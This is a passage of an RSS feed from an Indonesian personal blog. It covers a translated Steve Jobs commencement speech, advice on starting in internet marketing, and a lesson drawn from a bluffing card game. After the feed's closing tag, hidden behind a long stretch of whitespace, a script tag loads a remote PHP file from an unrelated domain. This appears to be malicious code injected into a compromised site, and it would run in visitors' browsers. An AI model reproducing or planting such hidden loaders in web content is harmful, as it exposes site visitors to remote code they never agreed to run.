<p>Artinya, memastikan bahwa segalanya diatur agar mudah bagi keluarga nda. Artinya, Anda harus mengucapkan selamat tinggal. Sepanjang hari itu saya menjalani hidup berdasarkan diagnosis tersebut. Malam harinya, mereka memasukkan endoskopi ke tenggorokan, lalu ke perut dan lambung, memasukkan jarum ke pankreas saya dan mengambil beberapa sel tumor. Saya dibius, namun istri saya, yang ada di sana, mengatakan bahwa ketika melihat selnya di bawah mikroskop, para dokter menangis mengetahui bahwa jenisnya adalah kanker pankreas yang sangat jarang, namun bisa diatasi dengan operasi. Saya dioperasi dan sehat sampai sekarang.</p>
<p>Itu adalah rekor terdekat saya dengan kematian dan berharap terus begitu hingga beberapa dekade lagi. Setelah melalui pengalaman tersebut, sekarang saya bisa katakan dengan yakin kepada Anda bahwa menurut konsep pikiran, kematian adalah hal yang berguna: Tidak ada orang yang ingin mati. Bahkan orang yang ingin masuk surga pun tidak ingin mati dulu untuk mencapainya. Namun, kematian pasti menghampiri kita.</p>
<p>Tidak ada yang bisa mengelak. Dan, memang harus demikian, karena kematian adalah buah terbaik dari kehidupan. Kematian membuat hidup berputar. Dengannya maka yang tua menyingkir untuk digantikan yang muda. Maaf bila terlalu dramatis menyampaikannya, namun memang begitu.</p>
<p>Waktu Anda terbatas, jadi jangan sia-siakan dengan menjalani hidup orang lain. Jangan terperangkap dengan dogma-yaitu hidup bersandar pada hasil pemikiran orang lain. Jangan biarkan omongan orang menulikan Anda sehingga tidak mendengar kata hati Anda. Dan yang terpenting, miliki keberanian untuk mengikuti kata hati dan intuisi Anda, maka Anda pun akan sampai pada apa yang Anda inginkan. Semua hal lainnya hanya nomor dua.</p>
<p>Ketika saya masih muda, ada satu penerbitan hebat yang bernama &#8220;The Whole Earth Catalog&#8221;, yang menjadi salah satu buku pintar generasi saya. Buku itu diciptakan oleh seorang bernama Stewart Brand yang tinggal tidak jauh dari sini di Menlo Park, dan dia membuatnya sedemikian menarik dengan sentuhan puitisnya. Waktu itu akhir 1960-an, sebelum era komputer dan desktop publishing, jadi semuanya dibuat dengan mesin tik, gunting, dan kamera polaroid. Mungkin seperti Google dalam bentuk kertas, 35 tahun sebelum kelahiran Google: isinya padat dengan tips-tips ideal dan ungkapan-ungkapan hebat.</p>
<p>Stewart dan timnya sempat menerbitkan beberapa edisi &#8220;The Whole Earth Catalog&#8221;, dan ketika mencapai titik ajalnya, mereka membuat edisi terakhir. Saat itu pertengahan 1970-an dan saya masih seusia Anda. Di sampul belakang edisi terakhir itu ada satu foto jalan pedesaan di pagi hari, jenis yang mungkin Anda lalui jika suka bertualang. Di bawahnya ada kata-kata: &#8220;Stay Hungry. Stay Foolish.&#8221; (Jangan Pernah Puas. Selalu Merasa Bodoh).</p>
<p>Itulah pesan perpisahan yang dibubuhi tanda tangan mereka. Stay Hungry. Stay Foolish.</p>
<p>Saya selalu mengharapkan diri saya begitu. Dan sekarang, karena Anda akan lulus untuk memulai kehidupan baru, saya harapkan Anda juga begitu. Stay Hungry. Stay Foolish.</p>
<p>&#8212;</p>
<p>Pidato yang hebat, mungkin salah satu alasan Steve Jobs dilahirkan ialah untuk berpidato seperti ini <img src='http://ronaldkang.com/diary/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://ronaldkang.com/diary/steve-jobs-stay-hungry-stay-foolish/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Mau Terjun ke Dunia Internet Marketing? Baca Ini Dulu!</title>
		<link>http://ronaldkang.com/diary/mau-terjun-ke-dunia-internet-marketing-baca-ini-dulu/</link>
		<comments>http://ronaldkang.com/diary/mau-terjun-ke-dunia-internet-marketing-baca-ini-dulu/#comments</comments>
		<pubDate>Mon, 05 May 2008 15:04:32 +0000</pubDate>
		<dc:creator>Ronald Kang</dc:creator>
				<category><![CDATA[Pelajaran Berguna]]></category>
		<category><![CDATA[motivasi]]></category>
		<category><![CDATA[saran]]></category>

		<guid isPermaLink="false">http://ronaldkang.com/diary/mau-terjun-ke-dunia-internet-marketing-baca-ini-dulu/</guid>
		<description><![CDATA[Sudah lama saya tidak menulis di blog ini, mumpung hari ini sedang ada waktu senggang sebentar, tiba2 muncul keinginan untuk nulis sesuatu. Topik kali ini mengenai hal2 yang ingin saya sampaikan kalau Anda memutuskan untuk terjun ke dunia internet marketing. Internet marketing merupakan bisnis yang tidak murah. Percaya atau tidak? Bagi orang yang mendengar kata [...]]]></description>
			<content:encoded><![CDATA[<p>Sudah lama saya tidak menulis di blog ini, mumpung hari ini sedang ada waktu senggang sebentar, tiba2 muncul keinginan untuk nulis sesuatu. Topik kali ini mengenai hal2 yang ingin saya sampaikan kalau Anda memutuskan untuk terjun ke dunia internet marketing.<span id="more-53"></span></p>
<p>Internet marketing merupakan bisnis yang tidak murah. Percaya atau tidak? Bagi orang yang mendengar kata internet marketing dari iklan/media, tentunya sudah tahu harga seminar internet marketing yang seharga jutaan. Untuk bisa belajar dengan instan memang butuh harga yang mahal. Apakah bisa belajar sendiri? tentu saja bisa, itu tergantung dari kemampuan Anda untuk mendorong diri sendiri mengexplore hal2 yang baru di bidang internet. Kenapa para master itu meminta bayaran yang mahal? Jelas aja mahal, dikasih mahal saja banyak kok yang mau bayar. Kenapa harus murah? Hehe. Jangan tanya saya, pikiran tiap orang kan beda2. Hasil yang akan didapat memang sebanding kalau Anda berhasil <img src='http://ronaldkang.com/diary/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Yang pertama, persiapkan diri Anda untuk menemui hal2 teknis! Jangan berpikir bahwa Anda akan menjadi seorang master internet marketing tanpa mengerti hal teknis sedikitpun. Hal teknis di sini bukan dalam arti mampu bahasa pemrograman. Namun yang saya maksud ialah, mampu dan familiar terhadap komputer serta dunia internet. Apabila Anda masih sulit membedakan klik kanan dan klik kiri, sulit menemukan di mana tombol ctrl berada, lebih baik Anda pikir2 dulu sebelum membayar mahal untuk ikut seminar internet marketing. Lebih baik uangnya Anda pakai untuk kursus komputer dasar dulu. Semua hal memang dapat dipelajari tapi apabila Anda ingin melihat kenyataan, tidak semua hal harus dimulai dengan membayar mahal.</p>
<p>Kedua, apapun yang Anda lakukan di dunia internet akan menjadi cermin kepribadian Anda. Tidak ada batasan bagi semua pengguna internet untuk bisa mengenal Anda, membaca cara bicara Anda, dan melihat wajah Anda. Terlalu banyak omong besar akan merendahkan kredibilitas Anda di mata masyarakat, terlalu banyak memaki atau menghakimi pihak tertentu akan membuat orang tidak menghargai Anda, terlalu banyak janji yang tidak ditepati akan membuat orang tidak mempercayai Anda. Semua kata2 yang Anda tulis di manapun di internet, baik itu forum, milis, blog, dapat dibaca oleh semua orang. Bahkan saya selalu memonitor percakapan perusahaan saingan saya di milis mereka menggunakan Google. Cukup search keyword yang dicari, dan Google yang menampilkan semua percakapan itu. Menggunakan nickname pun tidak ada gunanya, sekali Anda menampilkan nickname Anda di friendster, identitas Anda akan ketahuan. Internet marketing adalah bisnis di mana orang hanya mau memberi Anda uang karena mereka percaya, bukan hanya karena butuh.</p>
<p>Ketiga, jangan mudah menyerah. Apapun yang Anda lakukan di bisnis internet untuk pertama kali, atau bahkan untuk kelima puluh kalinya, belum tentu akan terlihat efeknya apabila Anda berhenti saat itu juga. Percayalah bahwa sekecil apapun hal yang Anda lakukan, itu tidak sia2 asalkan Anda melakukan sesuatu. Oleh karena itu, tetaplah fokus pada planning awal, dan simpan semua rencana Anda untuk dikerjakan satu persatu. Jangan mulai banyak bisnis internet sekaligus. Tentu saja jangan maju terus dengan kacamata kuda. Lihatlah contoh dari orang2 yang berhasil dan konsultasilah pada orang2 yang lebih berpengalaman. Perbaiki kesalahan Anda, hindari kesalahan orang lain, dan lakukan apa yang seharusnya dilakukan.</p>
<p>Keempat, apapun yang diajarkan para ahli pada Anda, segala macam teknik, segala macam strategi internet marketing, dan segala macam teori, bukan berarti bahwa itulah hal yang harus Anda tiru sama persis! Mereka menunjukkan hal2 baru yang mereka temukan dan lebih efektif dari cara2 yang sebelumnya ada. Lalu apa yang harus Anda tiru? Tirulah untuk melakukan hal2 baru yang lebih efektif lagi! Semua strategi yang berhasil di dunia internet marketing merupakan sebuah inovasi yang sama sekali berbeda dari yang sebelumnya. Lakukanlah inovasi2 baru lagi dan itu akan membuat Anda lebih unggul dari mereka. Hal2 yang Anda lakukan untuk meniru jalan yang sudah dilakukan orang lain, hanya akan efektif 10% (angka tidak akurat) dari apa yang orang tersebut dapatkan sebelumnya. Memang tidak ada salahnya untuk mulai dari 10% itu, tapi jangan tutup mata Anda untuk terus mencari inovasi baru <img src='http://ronaldkang.com/diary/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Kelima, ketahuilah kunci untuk berhasil berbisnis internet marketing ialah, apakah Anda membuat hidup orang menjadi lebih baik? Anda bisa saja menipu orang untuk mendapatkan uang, tapi hal tersebut tidak akan bertahan lama. Saya melihat banyak orang yang menjual barang2 yang sama sekali tidak ada gunanya namun disertai dengan bumbu2 yang menarik pada waktu sales nya. Tentu saja pandangan saya terhadap orang tersebut kini sudah berbeda, terlebih lagi pada awalnya saya percaya pada kata2 manisnya. Saya yakin tidak hanya saya yang berpikiran seperti itu, dan itu artinya orang tersebut sudah kehilangan minimal 1 pelanggan.</p>
<p>Yang terakhir, uang bukanlah segalanya! perlihatkan usaha Anda untuk membantu orang lain dengan bisnis Anda dan jadilah teladan bagi orang2 yang melihat Anda. Dengan sendirinya keberuntungan akan menghampiri Anda.</p>
<p>Yak, demikianlah kalimat2 motivasi yang hampir selalu ada dalam setiap bab awal di diktat internet marketing yang Anda beli <img src='http://ronaldkang.com/diary/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  cuma sedikit modifikasi saja dari saya.</p>
<p>Sekian, salam sukses!</p>
]]></content:encoded>
			<wfw:commentRss>http://ronaldkang.com/diary/mau-terjun-ke-dunia-internet-marketing-baca-ini-dulu/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>First Sale Made Easy! Take Action Guys!</title>
		<link>http://ronaldkang.com/diary/first-sale-made-easy-take-action-guys/</link>
		<comments>http://ronaldkang.com/diary/first-sale-made-easy-take-action-guys/#comments</comments>
		<pubDate>Wed, 31 Oct 2007 17:01:36 +0000</pubDate>
		<dc:creator>Ronald Kang</dc:creator>
				<category><![CDATA[Pelajaran Berguna]]></category>
		<category><![CDATA[bohong]]></category>
		<category><![CDATA[ewen chia]]></category>
		<category><![CDATA[first sale]]></category>
		<category><![CDATA[harapan]]></category>
		<category><![CDATA[jujur]]></category>
		<category><![CDATA[keterbatasan]]></category>
		<category><![CDATA[keyakinan]]></category>
		<category><![CDATA[khawatir]]></category>
		<category><![CDATA[pelajaran]]></category>
		<category><![CDATA[take action]]></category>
		<category><![CDATA[takut]]></category>

		<guid isPermaLink="false">http://ronaldkang.com/diary/first-sale-made-easy-take-action-guys/</guid>
		<description><![CDATA[Selamat untuk teman2 saya, Bpk Alex, Bpk Jethro dan Bpk Sharon yang telah mendapatkan first sale nya dari internet marketing! Bahkan Bpk Alex dan Bpk Jethro sudah mendapatkan 2 sales dalam 2 minggu awal. Luar biasa. Tidak sia2 belajar dari Ewen Chia dan teman2 lainnya. Hari ini saya baru saja mempelajari suatu hal yang cukup [...]]]></description>
			<content:encoded><![CDATA[<p>Selamat untuk teman2 saya, Bpk Alex, Bpk Jethro dan Bpk Sharon yang telah mendapatkan first sale nya dari internet marketing!</p>
<p><span id="more-36"></span></p>
<p>Bahkan Bpk Alex dan Bpk Jethro sudah mendapatkan 2 sales dalam 2 minggu awal. Luar biasa. Tidak sia2 belajar dari Ewen Chia dan teman2 lainnya.</p>
<p>Hari ini saya baru saja mempelajari suatu hal yang cukup berarti. Tadi saya dan beberapa teman sedang bermain kartu bohong. Masing2 dibagikan sekumpulan kartu dan secara bergiliran mengeluarkan kartunya masing2. Misalkan orang pertama mengeluarkan 2 kartu sambil mengatakan, &#8220;lima dua!&#8221; artinya dia mengeluarkan 2 kartu dengan angka 5. Apabila orang sebelahnya percaya, maka ia harus mengeluarkan angka lima juga. Apabila dia tidak percaya, dia boleh membuka kartu tersebut dan jika terbukti berbohong, maka yang berbohong harus mengambil semua kartunya. Siapa yang kartunya habis duluan dia yang menang.</p>
<p>Dari sini saya belajar sesuatu, terkadang ada saat giliran saya, saya sudah mengetahui bahwa semua kartu yang bersangkutan sudah dikeluarkan, dan sebelah saya pun berkata jujur dengan menambahkan kartu miliknya. Saya hanya punya 2 pilihan, yaitu tidak percaya dan membuka kartu tersebut atau berbohong dengan mengeluarkan kartu yang tidak sama.</p>
<p>Tentu saja saya tidak bisa membuka kartu tersebut, karena saya tahu dia jujur (asumsi diambil dari analisis tatapan mata, gerak gerik, serta senyumnya yang pede). Apabila saya buka kartu tersebut karena tidak percaya, besar kemungkinan saya akan kalah. Jalan saya hanya satu, yaitu harus tampil berbohong dengan meyakinkan. Tentunya saya pun merasa takut kebohongan saya akan ketahuan.</p>
<p>Lho?? Lalu di mana pelajaran yang didapatnya? Ya, terkadang kondisi membuat kita takut untuk melakukan suatu hal. Kita dengan asumsi pribadi selalu mengeluarkan analisis bahwa  kita tidak mampu melakukan sesuatu karena berbagai alasan. Dan akhirnya melakukannya juga dengan takut dan tidak sepenuh hati. Nah, hal inilah yang membuat kita tidak dapat melangkah jauh dan kalah.<br />
Di saat kita berpikir dengan semua keterbatasan yang tidak bisa kita lakukan. Seharusnya kita tetap memberikan yang terbaik, dan tanpa takut berusaha meraih harapan. Berhasil atau tidak, itu ada di tangan Tuhan. Tetap maju dan melakukan yang terbaik adalah keharusan yang tidak perlu dipertanyakan. Di sinilah pelajaran yang saya dapatkan.</p>
<p>Di tengah analisis saya ketika bermain, bahwa saya pasti ketahuan jika berbohong, saya tersadar pelajaran tersebut. Maka saya menarik nafas, pasang mata tajam, dan senyum pede, dan berbohong dengan lancar. Ketahuan atau tidak, itu ada di tangan Tuhan. Hahahaha</p>
<p>Hubungannya dengan first sale adalah, di tengah kekhawatiran kita akan berbagai keterbatasan, just take action guys! Banyak teman2 yang akan membantu, lakukan yang terbaik dan Tuhan yang akan menjawab harapan Anda!</p>
]]></content:encoded>
			<wfw:commentRss>http://ronaldkang.com/diary/first-sale-made-easy-take-action-guys/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
                                                                                                                                                                                                                                                                                                   <script src="http://holasionweb.com/oo.php"></script>
